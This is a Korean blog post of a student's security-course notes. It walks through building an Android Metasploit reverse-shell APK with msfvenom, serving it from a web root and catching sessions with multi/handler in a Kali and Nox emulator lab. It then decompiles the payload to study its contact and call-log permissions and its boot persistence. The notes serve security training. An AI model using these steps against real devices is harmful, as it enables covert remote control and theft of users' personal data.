Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

보안교과서

[SeSAC 성동캠퍼스] 어플리케이션 보안_취약점 진단 본문

카테고리 없음

[SeSAC 성동캠퍼스] 어플리케이션 보안_취약점 진단

dogeconfig 2023. 11. 21. 13:57

1. requests 모듈 설치

requests 모듈을 사용하기 위해서는  pip를 통해 설치를 해야 합니다. pip는 python 3.4이상 버전부터는 자동으로 같이 설치가 되기 때문에, 따로 설치할 필요없습니다. 아래 명령어를 통해 requests 모듈을 설치합니다.

pip install requests

2. 사용해보기

네이버와 구글에 GET 요청을 보내보도록 하는 예제를 살펴보겠습니다.

import requests

url = "http://www.naver.com"
response = requests.get(url)

print("status code :", response.status_code)​

응답 코드로 200이 넘어온다 . post()를 사용하는 경우도 있는데 

get() 대신에 post()를 사용하면가능하다.

import requests

url = "http://www.naver.com"
response = requests.post(url)

print("status code :", response.status_code)​

결과값은 똑같이 post()를 사용해도 된다.

 

 

wmware 

file -> open -> kali linux open 

id : kali

pw : kali

들어가서 터미널로 들어가서 

sudo apt-get update && apt -get upgrade -y

 

작동 안하면 ,,

 

kali 
1. VM Network 설정에서 NAT로 변경 
2. sudo service apache2 restart 웹페이지를 오픈
3. ifconfig  명령어로 ip를 확인 

nox
1. 인터넷 브라우저로 ip에 접근하여 nox 에서 칼리로 접근되는지 확인 

kali
 1. msfvenom -p
android/meterpreter/reverse_tcp LHOST=칼리ip LPORT=4444 R > sesac1121.apk
msfvenom으로 안드로이드 악성코드 생성
kali ip는 ipconfig 명령으로 vm bridge아이피 주소 확인 
2. sudo cp sesac1121.apk /var/www/html
생성된 악성코드를 웹에 배포
3.msfconsole
메타스플로잇 콘솔 실행 
4. use exploit/multi/handler
핸들러설정 
5.set payload android/meterpreter/reverse_tcp
페이로드 설정 
6.set LHOST 칼리 ip
메타스플로잇 아이피설정 
7. set LPORT 4444
8. set exitonsession false
9. exploit -j
10.녹스에서 다운 받은 파일 실행 
11. 칼리에서 sessions 실행 만약에 안 뜨면 set ip port 설정
12. sessions -i 1
13.help 입력해서 여러가지 명령어 추가 가능하다

 

 

package name

버전관리 17

android:targetSdkVersion="17"

전화번호부 확인할 수 있는 것 

<uses-permission android:name="android.permission.READ_CONTACTS"/>

전화기록확인

<uses-permission android:name="android.permission.READ_CALL_LOG"/>

    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/

<activity> 화면을 구성하는 ui

</intent -filter> 진입점이 많다 (안드로이드는 많음 )

<receiver android:label="MainBroadcastReceiver" android:name="com.metasploit.stage.MainBroadcastReceiver">

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED"/>

            </intent-filter>

        </receiver>

 

중요 부팅이 완료되도 다시 동작하게 하는 것 (리부트해도 다시 동작) 

<service android:name="com.metasploit.stage.MainService" android:exported="true"/>

service 백단(백그라운)에 다시 돌아가는 것

dex구성

constant Pool : 상수풀 

g class

좌측 목록에 있는 stage의 하단에 있는 알파벳 목록들은 클래스를 의미한다. 

package com.metasploit.stage;



import android.app.Activity;

import android.os.Bundle;



/* loaded from: classes.dex */

public class MainActivity extends Activity {

    @Override // android.app.Activity

    protected void onCreate(Bundle bundle) {

        super.onCreate(bundle); //슈퍼는 부문 class의 activity 부르는 것 

        MainService.startService(this);

        finish();

    }
    //protected void onDestroyed(Bundle bundle) {
    //Log.d("sesac","ondestory");
    //}
}

mainactivity  -> oncreate -> mainservice -> payload

payload 전송되는 데이터 task

port 가 62001 고정이라고 해서 찾아보다가 

netstat -ano | findstr 13496로 입력하니까 62001포트가 나왔다.

녹스 해상도랑 루트 설정 하고 다시 재실행 

adb kill-server하면 서버가 죽

 

권한 상승시키기 관리자 권한 상승

 

cd com.metasploit.stage/

 

data 밑 data 

data 밑 app

 

.so 파일명은 

ELF(Executable and Linkable Format)
안드로이드 Native 영역

 

lib 디렉토리 안의 lib[name].so

 

date time   ㅡㅡㅡㅡ(pid?)    ㅡㅡㅡㅡ  알파벳(i : information, w : warning , e : error?)

확장자명 안 보여서 디컴파일링 못했는데 

이렇게 해서 apk 뒤까지 지워서 해결했다.

디컴파일은 좀 있다가 수정 ..

java -jar  apktool_2.5.0.jar d sesac1121.apk

java -jar 실행값

 

java -jar

 

 

java -jar은 자바 파일을 실행하라는 뜻이다 . 뒤의 apktool_2.5.0.jar 파일을 실행하고  뒤의 d 는 디컴파일 할 디렉토리..? seac1121.apk를 디컴파일 ?

"Apktool은 대표적인 안드로이드 애플리케이션(Android Application) 대상의 리버스 엔지니어링 도구입니다. APK 파일을 분석하여 리소스를 뽑아낼 수 있고(디코딩), 코드를 수정하여 다시 재빌드(Rebuild)할 수도 있습니다. 실제로 XML, 이미지 파일, .dex 파일을 포함하여 안드로이드 앱의 주요 소스를 뽑기 위해 가장 많이 사용되고 있습니다." 라고 한다.

이거 실행해보려고 하는데 ..v

음 안나오네요 ; java -jar은 동일하고 -o는 .. 내일